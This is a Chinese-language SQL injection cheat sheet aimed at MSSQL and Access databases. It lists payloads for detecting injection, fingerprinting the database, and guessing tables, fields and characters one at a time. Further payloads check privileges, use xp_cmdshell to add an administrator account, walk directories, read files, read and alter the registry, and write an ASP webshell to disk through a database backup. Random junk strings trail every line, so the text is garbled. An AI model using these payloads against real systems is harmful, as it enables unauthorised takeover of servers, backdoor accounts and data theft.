1.判断是否有注入;and 1=1 ;and 1=2 '" 6VfF)*
2.初步判断是否是mssql ;and user>0 />$kDe
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3.注入参数是字符'and [查询条件] and ''=' vhKD_}}aP
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;,D7VxWhY
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5.判断数据库系统 p-Z5 {by
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;and (select count(*) from sysobjects)>0 mssql xZhh%~
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;and (select count(*) from msysobjects)>0 access %H54^Z<y
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 `KZ}smMA
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 NGNn_1
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Xo
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9.(1)猜字段的ascii值(access) 0 }q/VH57
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 f_}55?i0
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(2)猜字段的ascii值(mssql) H4UnF5G
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 _:T\[sz5
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10.测试权限结构(mssql) C)`/Q( ^
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >[[< 5$,T
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,^/;!ErR$
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- w\a\I
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- >t.I,Zn
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- kj>XKZL10
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q16RDQ*
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;and 1=(select IS_MEMBER('db_owner'));-- H}A67J9x
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11.添加mssql和系统的帐户 \;4RD$J
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;exec master.dbo.sp_addlogin username;-- bBGLf)fsTG
;exec master.dbo.sp_password null,username,password;-- t1xX B^.M{
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- P'zA=Rd&~>
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;exec master.dbo.xp_cmdshell 'net user username password iYFM@ta
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ee6Zm+.B
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- S-My6'ar
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- H`kfI"u8
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12.(1)遍历目录 "zfy_h
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;create table dirs(paths varchar(100), id int) |ML|P\1&V
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 1--5ok
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;and (select top 1 paths from dirs)>0 @qI^xs=Z
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) PE-VxRN)
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(2)遍历目录 x]w%?BlS
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- VP5_Y1e7
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 (;\JCeGA
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 o[aRG7C
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 c.r]w
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 [WuN?H
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13.mssql中的存储过程 5Q
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xp_regenumvalues 注册表根键, 子键 bt"*@NJ$
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 x+47CDDu3
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xp_regread 根键,子键,键值名 C,&r7
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;exec xp_regread WQK ~;GV-
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?`lIsd
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xp_regwrite 根键,子键, 值名, 值类型, 值 qJj"WU5
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 b dP @^Q
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 G*JasHFs
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xp_regdeletevalue 根键,子键,值名 BRyrdt*_e
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Z0 @P1
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 E:(DidSE@
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14.mssql的backup创建webshell LR%]4$ /M
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use model !59u z4
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create table cmd(str image); lf-1;6nyk"
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insert into cmd(str) values (''); 9#cPEbb~
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backup database model to disk='c:\l.asp'; {el[W,CT#
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15.mssql内置函数 z>}H[0[#
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;and (select @@version)>0 获得Windows的版本号 =jz [}5
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa N.(wR
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;and (select user_name())>0 爆当前系统的连接用户 bS7%%8C
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;and (select db_name())>0 得到当前连接的数据库 QN)EPS:y
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16.简洁的webshell [`(W(0U%
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use model `cgyiJ
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create table cmd(str image); <Ukeq0
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insert into cmd(str) values (''); [SJ3FZ<
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backup database model to disk='g:\wwwtest\l.asp';